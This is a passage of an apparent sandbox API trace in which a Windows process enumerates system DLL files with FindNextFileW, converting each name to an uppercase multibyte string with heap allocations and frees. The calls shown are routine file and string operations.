lpMultiByteStr=0x18c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.223] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.224] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x18c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.224] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x18c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.224] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.224] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.224] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.225] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.225] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.225] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.225] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0227.225] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x18c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.226] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.226] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.226] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.226] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.227] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x18c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.227] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x18c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.227] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.227] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 